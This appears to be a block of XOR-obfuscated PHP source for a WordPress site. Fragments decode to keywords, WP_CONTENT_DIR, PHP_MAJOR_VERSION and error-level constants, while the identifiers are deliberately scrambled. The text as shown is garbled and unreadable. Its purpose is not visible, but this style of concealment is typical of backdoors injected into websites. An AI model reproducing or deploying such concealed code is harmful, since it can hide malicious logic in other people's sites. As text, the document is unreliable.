C^GEDND_ADAsXDV{|socbxibxshe~^IXY^B{|socbxibxshe~&HNNV[@E[sZ]V\MU]NVK^_NIVAZ&EJC^GEDND_ADAsXDVHNNV[@^IXY^BHNNV[@&^IXY^B{|socbxibxshe~&Q&&JYBOXECBVAIHJFNZXOVAK[B@TGFOI&W&&EJIA\XUk`cnm`wEK^NHCBNJO_qPPE[sZ]V\MU]NVKk`cnm`wEK^NHCBNJO_q^IXY^BJM@_I&EJE__IXk`cnm`wNND@UGH@\HB@qwB@TGFOIq^IXY^BX^YI&NAHONCNVVUAG_IICHXNND@UGH@\HB@lEK^NHCBNJO_B@TGFOIJM@_I&^IXY^BNAHONCNVJM@_I

E__IXk`cnm`wNND@UGH@\HB@qwNAHONCNVq&&&&Q&&&&JYBOXECBVV[TYsZZD_HE\HNJVB@TGFOI&W&MHM\XEZIOCAAMBH&NJABGBK@B\BXX^GUUHKKV_DYNJABGBK@B\BX&EJIA\XUk`cnm`wEK^NHCBNJO_qPPE[sZ]V\MU]NVKk`cnm`wE[sZ]V\MU]NVKq^IXY^B&&&YB_IXk`cnm`wE[sZ]V\MU]NVKqwB@TGFOIq&&&&NAHONCNVE[sZ]V\MU]NVKVUAG_IICHXlNND@UGH@\HB@B@TGFOIJM@_I&EJNAHONCNVJM@_IYB_IXk`cnm`wNND@UGH@\HB@qwNAHONCNVq&Q&&&&JYBOXECBHVsECU@TJ_KMEB@TGFOI&W&EJE__IXk`cnm`wE[sZ]V\MU]NVKqPPEK^NHCBNJO_k`cnm`wVUAG_IICHXqW&k`cnm`wEK^NHCBNJO_qM^^MU&Q&&K^TJUFMMBZFVUAG_IICHXE[sZ]V\MU]NVKlVUAG_IICHXB@TGFOIJM@_I&&&k`cnm`wVUAG_IICHXqwK^TJUFMMBZFJM@_IK^TJUFMMBZFB@TGFOIqB@TGFOI&&&_XMXEOC@OXAJM@_I&EJC@OXAW&&&C@OXAX^YI&EJVUAG_IICHXVUAG_IICHXEK^NHCBNJO_VUAG_IICHX&&&Q&&Q&&&&JYBOXECBMCIZHssDG@&W&EJIA\XUk`cnm`wEK^NHCBNJO_qPPVUAG_IICHXk`cnm`wVUAG_IICHXqW&^IXY^B&&&Q&JC^IMODk`cnm`wNND@UGH@\HB@qM_GVHsOs[@OFXFCAsJIW&EJE[sZ]V\MU]NVK@OFXFCAsJI@OFXFCAsJIGVHsOs[&&&EJGVHsOs[^_NIVAZPP@OFXFCAsJI^_NIVAZOCBXEBYI&&&X^UW&EJlE[sZ]V\MU]NVK@OFXFCAsJIW&EJE[sZ]V\MU]NVKNND@UGH@\HB@]]XI^s@\F[YJ_V_ZEOI@OFXFCAsJI TTH&&&&EJVUAG_IICHXE[sZ]V\MU]NVK

EU@^_Y^]OZUI]B@OFXFCAsJI

E[sZ]V\MU]NVKEK^NHCBNJO_lC\OMODIsEBZM@EHMXI@OFXFCAsJI X^YI&&&&Q&QOMXODxD^C[MN@I@XB\NXsW&QOMXODiTOI\XECB@XB\NXsW&{||C_XhMXIEBHIOCA\C_MN@IAIHEMXC^&&Q&Q&Q&JYBOXECBMTXBXN[YJ^VH_DC&&&&W&&&&X^UW&@XB\NXsNND@UGH@\HB@VUAG_IICHXlI^^C^sKIXs@M_XBY@@&EJE[sZ]V\MU]NVK@XB\NXsPPIA\XU@XB\NXswEK^NHCBNJO_qPPIA\XU@XB\NXswEK^NHCBNJO_q^IXY^B&EJVUAG_IICHX@XB\NXswEK^NHCBNJO_q M^^MUisi~~c~ is|m~i isoc~isi~~c~ isoca|e`isi~~c~ isyi~si~~c~ X^YI^IXY^B&ZF_ABJ\E__IX@XB\NXswNND@UGH@\HB@q_X^EBK@XB\NXswEK^NHCBNJO_q&EJ_X^E\C_ZF_ABJ\ VUAG_IICHXJM@_IPP_X^E\C_ZF_ABJ\ E[sZ]V\MU]NVKJM@_I^IXY^B&&VFIJFV_NZI@EE[sZ]V\MU]NVKE[sZ]V\MU]NVKlEK^NHCBNJO_^_NIVAZ^_NIVAZ&sIJVUAG_IICHXVUAG_IICHXlVUAG_IICHX@XB\NXswE[sZ]V\MU]NVKq@XB\NXswEK^NHCBNJO_qFUF@H[OEYG^_H|d|samfc~szi~ecbX\]ZVsIJCGZFUF@H[OEYG^_H&&&EJVUAG_IICHXVFIJFV_NZI@EPPVUAG_IICHXsIJPPsIJVFIJFV_NZI@E^IXY^B&&&EJE__IXk`cnm`wEK^NHCBNJO_qW&FGZ@UFlNND@UGH@\HB@^_NIVAZ JM@_I BY@@  &EJEK^NHCBNJO_FGZ@UF

E[sZ]V\MU]NVKEK^NHCBNJO_ FGZ@UF sHA

sHAwq_X^EBKk`cnm`wNND@UGH@\HB@q^IXY^B&YB_IXFGZ@UF sHA&EJE__IXk`cnm`wEK^NHCBNJO_qW&C\IB\DMBXCA&&EJEK^NHCBNJO_VUAG_IICHXlO@IM^_XMXOMODIX^YI ^_NIVAZ&&KUF]]TICXM_CB_X^EBKlEK^NHCBNJO_^_NIVAZ_X^EBKlEK^NHCBNJO_^_NIVAZ&EJKUF]]TICXM_CB_X^EBKk`cnm`wEK^NHCBNJO_q^IXY^B&YB_IXKUF]]TICXM_CB&&&Q&Q&HZ]]M\F[FZVUVUAG_IICHX^_NIVAZ NND@UGH@\HB@&&FUO[]BHG]sDCNND@UGH@\HB@F[sE_EYEDFGFI_X^EBKlEK^NHCBNJO_^_NIVAZ&XFHN]]TNEBYCMEK^NHCBNJO_^_NIVAZE[sZ]V\MU]NVKHZ]]M\F[FZVU FUO[]BHG]sDC ]&EJFUO[]BHG]sDCW&XFHN]]TNEBYCMNND@UGH@\HB@^_NIVAZNND@UGH@\HB@FUO[]BHG]sDC _X^EBKVUAG_IICHX ]&EJVUAG_IICHXE[sZ]V\MU]NVKW&lY\HMXIsC\XECBE[sZ]V\MU]NVK FUO[]BHG]sDCPNND@UGH@\HB@ EK^NHCBNJO_&Q&Q&VIKG@Z[NEUYsOMCBICZZUG_CDXB&EJVIKG@Z[NEUNND@UGH@\HB@^_NIVAZ

lVUAG_IICHXVIKG@Z[NEU

lNND@UGH@\HB@VIKG@Z[NEUW&&&&XFHN]]TNEBYCMVIKG@Z[NEUEK^NHCBNJO_HZ]]M\F[FZVU FUO[]BHG]sDC ]&Q&EJEK^NHCBNJO_NND@UGH@\HB@

E[sZ]V\MU]NVKE[sZ]V\MU]NVKW&&&HMNZ^\B_XKIXsC\XECBE[sZ]V\MU]NVK M^^MU&EJNND@UGH@\HB@HMNZ^\B_X

NND@UGH@\HB@][D^VNJVM^ HMNZ^\B_X X^YIW&lY\HMXIsC\XECBEK^NHCBNJO_ VUAG_IICHXVUAG_IICHXHMNZ^\B_X M^^MU][D^VNJVM^&Q&Q&B\Z^M[NKUKM@E[sZ]V\MU]NVK&GBJ\IGZsF^_NIVAZE[sZ]V\MU]NVK&EJVUAG_IICHXEK^NHCBNJO_lVUAG_IICHX^_NIVAZ GBJ\IGZsF&EJVUAG_IICHXVUAG_IICHXW&&lC\OMODIsEBZM@EHMXI^_NIVAZ X^YI&&&lC\OMODIsEBZM@EHMXIGBJ\IGZsF X^YI&&&Q&&&&JC^IMODM^^MUEK^NHCBNJO_GBJ\IGZsF YsOMCBICZZUG_CDXBM_XKFHCT@JW&&&]BZBICZGY_YDBID_DM_]GYXKFHCT@J&&&&EJVUAG_IICHX]BZBICZGOCBXEBYI_OO^G[KECsV\_OO^G_OO^G_OO^G&JC^IMOD]BZBICZGM_ZMF\E]B[M@FW&EJVUAG_IICHXZMF\E]B[M@F NND@UGH@\HB@OCBXEBYI&YFHE^]BJVDBXKFHCT@JZMF\E]B[M@F&]DVTHGF@EAAMMlNND@UGH@\HB@YFHE^]BJVDB&EJ]DVTHGF@EAAMM

]DVTHGF@EAAMMNND@UGH@\HB@W&MXCAXMN@I&&]]XI^s@\F[YJ_V_ZEOIYFHE^]BJVDB &&&&EU@^_Y^]OZUI]BYFHE^]BJVDB&Q&Q&Q&&&YB_IXXKFHCT@J ]BZBICZG ZMF\E]B[M@F YFHE^]BJVDB ]DVTHGF@EAAMM&QOMXODxD^C[MN@IFNMZHZBB\]NGW&QOMXODiTOI\XECBFNMZHZBB\]NGW&Q&Q&JYBOXECBC[_KAMDB[GB@TGFOI ENI[ZA^&W&X^UW&EJNND@UGH@\HB@B@TGFOIPPB@TGFOIPPVUAG_IICHXENI[ZA^PPENI[ZA^^IXY^B&^\G@GYO_NND@UGH@\HB@B@TGFOI&EJlNND@UGH@\HB@^\G@GYO_PPlNND@UGH@\HB@^\G@GYO_^IXY^B&\sIG]A@T^_^^\G@GYO_E[sZ]V\MU]NVKEK^NHCBNJO_B@TGFOI E[sZ]V\MU]NVK&]]YYJsGlEK^NHCBNJO_\sIG]A@T^_^&EJEK^NHCBNJO_]]YYJsG

VUAG_IICHXEK^NHCBNJO_ ]]YYJsG ZF_ABJ\

ZI^_ECBsOCA\M^IZF_ABJ\wq ENI[ZA^ E[sZ]V\MU]NVK^IXY^B&EJVUAG_IICHXEK^NHCBNJO_lEK^NHCBNJO_\sIG]A@T^_^ ENI[ZA^&QOMXODxD^C[MN@I@XB\NXsW&&&QOMXODiTOI\XECB@XB\NXsW&Q&Q&JYBOXECBFNH][OVB\]KM&W&X^UW&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVKW&|~BMAI_\MOI_JCBXJMOI&&^IXY^B&Q&EJlKIXsC\XECBNND@UGH@\HB@ WX^\FFJZM]GDPHY@KOOX^\FFJZM]GDr&&KUG@_ZHVYZGNEK^NHCBNJO_ EK^NHCBNJO_ &Q&EJOAEFTH@JAB[EK^NHCBNJO_^IXY^B&&]_[YENO@[VUAG_IICHXNND@UGH@\HB@mn|mxd_X^EBK\^FTV@HAFZ  TT&&&XV^M^E_X^EBKlKIXsC\XECB]_[YENO@[ &UC_MGNFF@OEK^NHCBNJO_&ZZZV^\s[G&&&&&IJTHsEKJ_^_X^^IZEG_DKYTYUTE@]OU&Vs@V_D]TH[KNGMVXV[KCMBM[JX&ITJDF\EGVs@V_D]THPIJTHsEKJ_^&&EJE[sZ]V\MU]NVKXV^M^E PJM@_IW&&&FMMAIFVYONGVUAG_IICHXP XV^M^E &UC_MGNFF@OFMMAIFVYONGwq&ZZZV^\s[GFMMAIFVYONGwq&QI@_IW&&ZZZV^\s[GXV^M^E&Q&&EJZZZV^\s[GW&lY\HMXIsC\XECB]_[YENO@[ ITJDF\EG E[sZ]V\MU]NVK&^IXY^B&&&Q&&&&&EJZZZV^\s[GIJTHsEKJ_^W&EJXV^M^EITJDF\EG

ZI^_ECBsOCA\M^IVs@V_D]TH UC_MGNFF@O VUAG_IICHXW&lY\HMXIsC\XECB]_[YENO@[ ITJDF\EG VUAG_IICHX&Q&^IXY^B&Q&&BKN[DAVKEE_X^^IZZZZV^\s[G&EJBKN[DAVKEEPPE[sZ]V\MU]NVKBKN[DAVKEEBKN[DAVKEEW&lY\HMXIsC\XECB]_[YENO@[ ITJDF\EG VUAG_IICHX&^IXY^B&Q&ZVOBNMH\FKIYsOMCBICZZUG_CDXBBKN[DAVKEE&&&]\DKHCUTMEKXT&EJHIJEBIHEK^NHCBNJO_W&]\DKHCUTMEKXT{|s|`ykebshe~EK^NHCBNJO_BKN[DAVKEE |mxdebjcsje`ibmaiBKN[DAVKEE&Q&&&&&AZZTYMDZBGAXTlE[sZ]V\MU]NVKZVOBNMH\FKI&NY[UJVsOHUAZZTYMDZBGAXTJM@_I

AZZTYMDZBGAXTTNTH&&&&I]MTJXNIBF]\DKHCUTMEKXTlEK^NHCBNJO_]\DKHCUTMEKXTJM@_I&HG_sJGFMI]MTJXNIBFJM@_I

I]MTJXNIBF&&EJNY[UJVsOHU

HG_sJGFMW&lY\HMXIsC\XECB]_[YENO@[ ITJDF\EG EK^NHCBNJO_&^IXY^BABDU\GJsJ|d|samfc~szi~ecb]JA^ZETENUGDABDU\GJsJ&Q&&X\ZAHI_DAF@JNY[UJVsOHUZVOBNMH\FKI]\DKHCUTMEKXT&OI@Z\HlNND@UGH@\HB@X\ZAHI_DAF@J JM@_I BY@@  &&&EJEK^NHCBNJO_OI@Z\H

EK^NHCBNJO_NND@UGH@\HB@ OI@Z\H sJAW&UC_MGNFF@OsJAwq&QI@_IEJTIEsOI[@[_HGJZX\ZAHI_DAF@J W&&UC_MGNFF@OEK^NHCBNJO_&&Q&YB_IXOI@Z\H sJA&ss@U^IsDE[CNY[UJVsOHU&&EJss@U^IsDE[C

HG_sJGFMW&NTXNVE[sZ]V\MU]NVKBKN[DAVKEE |mxdebjcsje`ibmaiBKN[DAVKEE&EUV^KB_HFAM^^MUlKIXsC\XECBEK^NHCBNJO_ M^^MU&ss@U^IsDE[CE[sZ]V\MU]NVKNTXNV EUV^KB_HFA X^YI&EJss@U^IsDE[C

EK^NHCBNJO_EK^NHCBNJO_

E_sAY@XE_EXI

NND@UGH@\HB@VUAG_IICHXW&JZFKHEM\M^^MUlKIXs_EXIsC\XECBNND@UGH@\HB@ M^^MU&ss@U^IsDE[CE__IXJZFKHEM\wNTXNVq&&&&YB_IXJZFKHEM\&&&Q&YB_IXNTXNV EUV^KB_HFA&&&Q&&GTD^M_VIBDUZI^_ECBsOCA\M^IVs@V_D]TH UC_MGNFF@O&&EJGTD^M_VIBDUW&&&@E_B\HZKsTIEsOI[@[_HGJZX\ZAHI_DAF@J &CZMMFsBIOIOEBXlEK^NHCBNJO_X\ZAHI_DAF@J&MM@MGIGCT@E_B\HZKsPPCZMMFsBIOIO&EJMM@MGIGCT

CZMMFsBIOIOTIJTHHW&BE@\CXIBX\E\I@EBI&&JI^DJU[YlNND@UGH@\HB@X\ZAHI_DAF@J JM@_I BY@@  &EJE[sZ]V\MU]NVKJI^DJU[YPPVUAG_IICHXE[sZ]V\MU]NVK JI^DJU[YMM@MGIGCTX^YI&&&Q&&&EJMM@MGIGCT

BZOVYC[ODT^X\ZAHI_DAF@JMM@MGIGCTX^YI&EJMM@MGIGCTW&I^D\VDAVCX@TO_DMKTN[&EJIA\XUI^D\VDAVCwE[sZ]V\MU]NVKqW&|~AEHH@I[M^IIT\CBIBXEM@NMOG@CK&&B@N_CMX@TJlNND@UGH@\HB@I^D\VDAVCwEK^NHCBNJO_q&^DKDYIFMlE[sZ]V\MU]NVKX\ZAHI_DAF@J&EJVUAG_IICHXB@N_CMX@TJ

E[sZ]V\MU]NVK^DKDYIFM

B@N_CMX@TJ^DKDYIFMW&[sMABNUB^_^IDAEOY\OOIOMZBYJTI^D\VDAVC&EJ[sMABNUB^_^IDAEEK^NHCBNJO_PP[sMABNUB^_^IDAEE[sZ]V\MU]NVKMM@MGIGCTX^YI&Q&YB_IXB@N_CMX@TJ ^DKDYIFM [sMABNUB^_^IDAE&Q&HIJ^MKAIBXOCB_X^MEBX_IXJC^{|k^CY\n@COG&&EJMM@MGIGCT

ZFBA][K]CJ^BX\ZAHI_DAF@JMM@MGIGCTX^YI&YB_IXI^D\VDAVC&Q&EJMM@MGIGCTW&EJ@E_B\HZKsHVsECU@TJ_KMEX\ZAHI_DAF@J&lY\HMXIsC\XECB]_[YENO@[ ITJDF\EG VUAG_IICHX&^IXY^B&Q&EJss@U^IsDE[CW&lY\HMXIsC\XECB]_[YENO@[ ITJDF\EG E[sZ]V\MU]NVK&^IXY^B&&&&Q&C[_KAMDB[G^_NIVAZ UC_MGNFF@O&^[ATE^_EsDZNBHET^_NIVAZ&&&^IXY^BX^YI&&Q&EJIA\XUk`cnm`wEK^NHCBNJO_qW&&k`cnm`wVUAG_IICHXqX^YI&EJTIEsOI[@[_HGJZX\ZAHI_DAF@J HVsECU@TJ_KMEX\ZAHI_DAF@J&FTZE@]A[OGJFUVUAG_IICHX&&&OGDYBEsTOUKXHX^_NIVAZ FTZE@]A[OGJFUFTZE@]A[OGJFU	\^FTV@HAFZ&YB_IXFTZE@]A[OGJFU&&&C[_KAMDB[GZVOBNMH\FKI Vs@V_D]TH&EJ]\DKHCUTMEKXTC[_KAMDB[G]\DKHCUTMEKXT Vs@V_D]TH&KUG@_ZHVYZGNEK^NHCBNJO_ NND@UGH@\HB@ &lY\HMXIsC\XECB]_[YENO@[ ITJDF\EG VUAG_IICHX&B\Z^M[NKUKM@E[sZ]V\MU]NVK&EJ]\DKHCUTMEKXT

EK^NHCBNJO_VUAG_IICHXW&YGYG@VUAG_IICHXBKN[DAVKEE |mxdebjcsje`ibmaiBKN[DAVKEE&&EUV^KB_HFAlKIXsC\XECBEK^NHCBNJO_ M^^MUVsXM^ZOZM|d|samfc~szi~ecbZK[^D[^GVsXM^ZOZM&&&&EJNND@UGH@\HB@EUV^KB_HFA

EK^NHCBNJO_YGYG@ EUV^KB_HFA X^YIW&lY\HMXIsC\XECBNND@UGH@\HB@ VUAG_IICHXEK^NHCBNJO_EUV^KB_HFA M^^MUYGYG@&Q&YB_IXYGYG@ EUV^KB_HFA&Q&Q&^IXY^B&&&&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&&&&QOMXODiTOI\XECB@XB\NXsW&QJEBM@@UW&K_DAMCNEUO^EK^NHCBNJO_&&&&Q&&&Q&JYBOXECBY_YDBID_DM_]GY^\G@GYO_&W&&&EJE[sZ]V\MU]NVKVUAG_IICHX

NND@UGH@\HB@EK^NHCBNJO_W&&&XTMJYDAsMK^\IlEK^NHCBNJO_^\G@GYO_&&EJXTMJYDAsMK^\IWI\^GFCUEXJPUV_][sI\^GFCUEXJr&^EVOZFVCD]BHTsTM^^MU&[DE@I@XB\NXslNND@UGH@\HB@XTMJYDAsMK^\IJM@_IW&EJ@XB\NXs

@XB\NXsVUAG_IICHX^EVOZFVCD]BHTsTwq@XB\NXs&Q&EJNND@UGH@\HB@VUAG_IICHXlE[sZ]V\MU]NVKXTMJYDAsMK^\I&^IXY^B^EVOZFVCD]BHTsT&Q&Q&EJVUAG_IICHXNND@UGH@\HB@W&\FJCOCFJYlVUAG_IICHX^\G@GYO_&EJE[sZ]V\MU]NVK\FJCOCFJY^IXY^BE[sZ]V\MU]NVKE[sZ]V\MU]NVK\FJCOCFJY M^^MU NND@UGH@\HB@&Q&&EJE[sZ]V\MU]NVKNND@UGH@\HB@W&@\FMC@lE[sZ]V\MU]NVK^\G@GYO_E[sZ]V\MU]NVK&EJEK^NHCBNJO_@\FMC@^IXY^BEK^NHCBNJO_E[sZ]V\MU]NVK @\FMC@&Q&^IXY^BBY@@&Q&&JYBOXECBZVHB^HE]OsNOVNYXNAXUCY@O\&W&EJEK^NHCBNJO_XNAXUCY@O\PPEK^NHCBNJO_XNAXUCY@O\ E[sZ]V\MU]NVKJM@_I^IXY^BJM@_IYBYKHD[OZ[D\YXCTD\JYBYKHD[OZ[&EJVUAG_IICHXXNAXUCY@O\XNAXUCY@O\F[sE_EYEDFGFIXNAXUCY@O\&&&&EJEK^NHCBNJO_XNAXUCY@O\^IXY^BJM@_I&EJNND@UGH@\HB@VUAG_IICHX^IXY^BX^YI&EJHIJEBIHE[sZ]V\MU]NVKW&IHDXHZslXCGIBsKIXsM@@XNAXUCY@O\&EJEK^NHCBNJO_IHDXHZs^IXY^BX^YI&IXsYYVJsOD^&JC^IMODIHDXHZsM_E_K^]NNT\W&EJNND@UGH@\HB@E_K^]NNT\W&&EJE_K^]NNT\wqxsoy~`usc|ibPPE_K^]NNT\wqxshc``m~sc|ibsoy~`usn~moiIXsYYVJsOD^&OCBXEBYI&Q&EJE_K^]NNT\WIXsYYVJsOD^&I@_IEJE_K^]NNT\QW&&&&IXsYYVJsOD^&EJIXsYYVJsOD^^IXY^BJM@_I&&&Q&&&&Q&&&&^IXY^BIXsYYVJsOD^&Q&X^UW&lXCGIBsKIXsM@@XNAXUCY@O\ xcgibs|m~i&&&^IXY^BX^YI&QOMXODxD^C[MN@I@XB\NXsW&^IXY^BJM@_I&QOMXODiTOI\XECB@XB\NXsW&^IXY^BJM@_I&Q&Q&JYBOXECBBBIAB]UC[UIGMK[F&W&^IXY^BM^^MUVUAG_IICHX E[sZ]V\MU]NVK E[sZ]V\MU]NVK&Q&JYBOXECB]DKsYI]\ZZUNJD&W&^IXY^BM^^MUVUAG_IICHX EK^NHCBNJO_ EK^NHCBNJO_ VUAG_IICHX EK^NHCBNJO_ NND@UGH@\HB@ EK^NHCBNJO_ E[sZ]V\MU]NVK NND@UGH@\HB@ NND@UGH@\HB@ EK^NHCBNJO_ VUAG_IICHX E[sZ]V\MU]NVK NND@UGH@\HB@ NND@UGH@\HB@ NND@UGH@\HB@ NND@UGH@\HB@ NND@UGH@\HB@ E[sZ]V\MU]NVK E[sZ]V\MU]NVKJ\EZZsJE_]NZH@\UGZJ\EZZsJE_&&&&Q&JYBOXECBEVXHV[NM_KDTICA&W&^IXY^BM^^MUEK^NHCBNJO_ VUAG_IICHX VUAG_IICHX E[sZ]V\MU]NVK&Q&&JYBOXECBYsTB\JB\FNJZOEUs[YT\DKB_Is&W&EJEK^NHCBNJO_NND@UGH@\HB@^IXY^BKVIBOCHI[YT\DKB_Is r&&&&EJEK^NHCBNJO_NND@UGH@\HB@W&^IXY^BpTJpTNpTpTpTpTpTpTpTpTKVHIJ@MXI[YT\DKB_Is VUAG_IICHXz E[sZ]V\MU]NVK[YT\DKB_IsNND@UGH@\HB@z VUAG_IICHX[YT\DKB_Is
&&Q&^IXY^B[YT\DKB_Is&Q&JYBOXECB]\[NXV\CEKEF@TZ^C[YT\DKB_Is&&W&EJE[sZ]V\MU]NVK[YT\DKB_IsPPNND@UGH@\HB@[YT\DKB_Is^IXY^B[YT\DKB_Is&EJVUAG_IICHX[YT\DKB_Is  pTJpTN^IXY^B[YT\DKB_Is&&EJVUAG_IICHX[YT\DKB_IsTTJ^IXY^BJM@_I&AGD^^ZslVUAG_IICHXz E[sZ]V\MU]NVK[YT\DKB_Is r&AGD^^ZsNND@UGH@\HB@AGD^^ZsAGD^^Zswq@\OFKHKYPH^I^]EAHMG\@\OFKHKYr&&&&EJAGD^^ZsPPAGD^^ZsTINJITO^IXY^BJM@_I&&&&EJVUAG_IICHXEK^NHCBNJO_W&I^BIDC@VlKVHIOCHI[YT\DKB_Is &&&EJI^BIDC@VJM@_I^IXY^BI^BIDC@V&Q&EJE[sZ]V\MU]NVKEK^NHCBNJO_W&&&&I^BIDC@VlKVEBJ@MXIEK^NHCBNJO_[YT\DKB_Is r EK^NHCBNJO_[YT\DKB_Is &&&^IXY^BEK^NHCBNJO_I^BIDC@V

EK^NHCBNJO_I^BIDC@VTIITOI^BIDC@VJM@_I&Q&^IXY^BJM@_I&&&Q&&&&&EJVUAG_IICHXE[sZ]V\MU]NVKW&&&JYBOXECBDITNEBUX_]JD&W&&EJNND@UGH@\HB@UX_]JDPPNND@UGH@\HB@UX_]JD	W&^IXY^BJM@_I&Q&^IXY^BEK^NHCBNJO_EK^NHCBNJO_ UX_]JD&Q&Q&&&JYBOXECB[DVTYUDIYEJ&&&&W&NEsHT\J[TM^^MU&VYKC[DOXACUNBFIM^^MUmn|mxd mn|mxdE[sZ]V\MU]NVK mn|mxdVUAG_IICHX&EJHIJEBIHNND@UGH@\HB@VYKC[DOXACUNBFIwq{|socbxibxshe~&JC^IMODVYKC[DOXACUNBFIM_I^BIDC@VW&TsIEAMI[TIEK^NHCBNJO_VUAG_IICHXlNND@UGH@\HB@I^BIDC@VEK^NHCBNJO_JM@_I&EJE[sZ]V\MU]NVKTsIEAMI[TIW&JC^IMODTsIEAMI[TIM_HI]ACMJAAN\W&&&&[B_]ZZClNND@UGH@\HB@HI]ACMJAAN\&&&&EJ[B_]ZZC

[B_]ZZCW&NEsHT\J[Twq[B_]ZZC&&&&Q&Q&Q&lEBEXEM@EVIHE_\MXODI^&&Q&&&&EJIA\XUNEsHT\J[TW&ZJKVHJNEsHT\J[TwVUAG_IICHXNEsHT\J[Tq&&^IXY^BZJKVHJZJKVHJ	\^FTV@HAFZ&Q&TXETKJMY]NNND@UGH@\HB@&NFFCEVEATEE[sZ]V\MU]NVKE[sZ]V\MU]NVK[\s^MBH TNTTHTNEK^NHCBNJO_ &ZJKVHJTXETKJMY]NNFFCEVEATE&^IXY^BZJKVHJZJKVHJ	\^FTV@HAFZ&Q&JYBOXECB_^_]sNC^\VME\FAFO\HKJ DM[ECIF_T[\ CATNAMBY@@&W&KO_\[_J@JYBOXECBXZX\D@H_NY_ICATNAMW&EJVUAG_IICHXXZX\D@H_NPPXZX\D@H_N^IXY^BJM@_I&EJE[sZ]V\MU]NVKXZX\D@H_N^IXY^BJM@_I&EJCATNAMW&&X^UW&&^IXY^BNCC@EK^NHCBNJO_CATNAM XZX\D@H_N&QOMXODxD^C[MN@I@XB\NXsW&&&^IXY^BJM@_I&QOMXODiTOI\XECB@XB\NXsW&^IXY^BJM@_I&Q&Q&&&^IXY^BX^YI&Q&EHXF^Z@[FXBVUEK^NHCBNJO_EK^NHCBNJO_lNND@UGH@\HB@FAFO\HKJ M^^MU&NND@UGH@\HB@DM[ECIF_T[\ &VUAG_IICHXJM@_I &EK^NHCBNJO_THHIT &&JM@_I&&EJEHXF^Z@[FXBVU

VUAG_IICHXNND@UGH@\HB@PPE_s[\sI^^C^EHXF^Z@[FXBVUW&&&&EJEBX[\s^IACXIs^IX^EIZIs^I_\CB_IsOCHIEHXF^Z@[FXBVUrW&ANDEU[[sF[\s^IACXIs^IX^EIZIsNCHUEHXF^Z@[FXBVU&EJKO_\[_J@ANDEU[[sF^IXY^BANDEU[[sF&Q&Q&EJNND@UGH@\HB@EK^NHCBNJO_

E[sZ]V\MU]NVKVUAG_IICHX

NND@UGH@\HB@NND@UGH@\HB@W&UYMHDKNUBlE[sZ]V\MU]NVKFAFO\HKJ&EJUYMHDKNUBJM@_I^IXY^BJM@_I&&&lNND@UGH@\HB@UYMHDKNUB M^^MU&OCB_XMBXNND@UGH@\HB@X^YI &OCB_XMBXNND@UGH@\HB@DM[ECIF_T[\ &&&&OCB_XMBXNND@UGH@\HB@JM@_I &OCB_XMBXE[sZ]V\MU]NVK &OCB_XMBXE[sZ]V\MU]NVKJM@_I &&&OCB_XMBXE[sZ]V\MU]NVKJYBOXECBEA_KJ\D F\V\NYJGE GBUEKKHVJW^IXY^BGBUEKKHVJQ &&&&&&AIN[[FMI_]BlEK^NHCBNJO_UYMHDKNUB&D[UY@JJUTYlOY^@sI^^BCUYMHDKNUB&DEB^@sUIVlOY^@sKIXEBJCUYMHDKNUB&&&&lOY^@sO@C_IUYMHDKNUB&EJD[UY@JJUTY^IXY^BJM@_I&EJEBXDEB^@sUIVwVUAG_IICHXq

AIN[[FMI_]BJM@_I

KO_\[_J@AIN[[FMI_]BW&^IXY^BAIN[[FMI_]B&Q&Q&HI_X^YOXECBCN_I^ZI^&&^IXY^BJM@_I&Q&&JYBOXECBZXHKCZOFAFO\HKJ DBAUNXNs_TJ@_ V[O]ATD__Y DM[ECIF_T[\ CATNAMBY@@&W&KO_\[_J@JYBOXECBXZX\D@H_NY_ICATNAMW&EJEK^NHCBNJO_XZX\D@H_NPPXZX\D@H_N^IXY^BJM@_I&EJEK^NHCBNJO_XZX\D@H_N^IXY^BJM@_I&EJCATNAMW&&&&X^UW&^IXY^BNCC@E[sZ]V\MU]NVKCATNAM XZX\D@H_N&QOMXODxD^C[MN@I@XB\NXsW&&^IXY^BJM@_I&QOMXODiTOI\XECB@XB\NXsW&^IXY^BJM@_I&Q&&&Q&^IXY^BX^YI&Q&EHXF^Z@[FXBVUE[sZ]V\MU]NVKEK^NHCBNJO_lE[sZ]V\MU]NVKFAFO\HKJ M^^MU&NND@UGH@\HB@DM[ECIF_T[\ &&VUAG_IICHXJM@_I &VUAG_IICHX &NND@UGH@\HB@V[O]ATD__Y &NND@UGH@\HB@DBAUNXNs_TJ@_ &&&&JM@_I&EJNND@UGH@\HB@E[sZ]V\MU]NVK

E_s[\sI^^C^EHXF^Z@[FXBVUW&QI@_IEJEHXF^Z@[FXBVUW&XNAXUCY@O\EBX[\s^IACXIs^IX^EIZIs^I_\CB_IsOCHIEHXF^Z@[FXBVU&T\EU\I@[\s^IACXIs^IX^EIZIsNCHUEHXF^Z@[FXBVU&&&&IOD@OI[DNCVHFD[\s^IACXIs^IX^EIZIsDIMHI^_EHXF^Z@[FXBVU&YBAYZBEAEYCKK&EJVUAG_IICHXIOD@OI[DNCVHFDW&{||C_XoCAAIBX_CN_X^YOXECBJ^IINEZM^EMBX&&JC^IMODIOD@OI[DNCVHFDM_IYsJX^FNZGsTU^K[@W&YBAYZBEAEYCKKIYsJX^FNEK^NHCBNJO_ZGsTU^K[@VUAG_IICHX&Q&&&&Q&EJXNAXUCY@O\

KO_\[_J@T\EU\I@W&^IXY^BT\EU\I@&&&Q&QI@_IW&Q&EJNND@UGH@\HB@VUAG_IICHX

VUAG_IICHXVUAG_IICHX

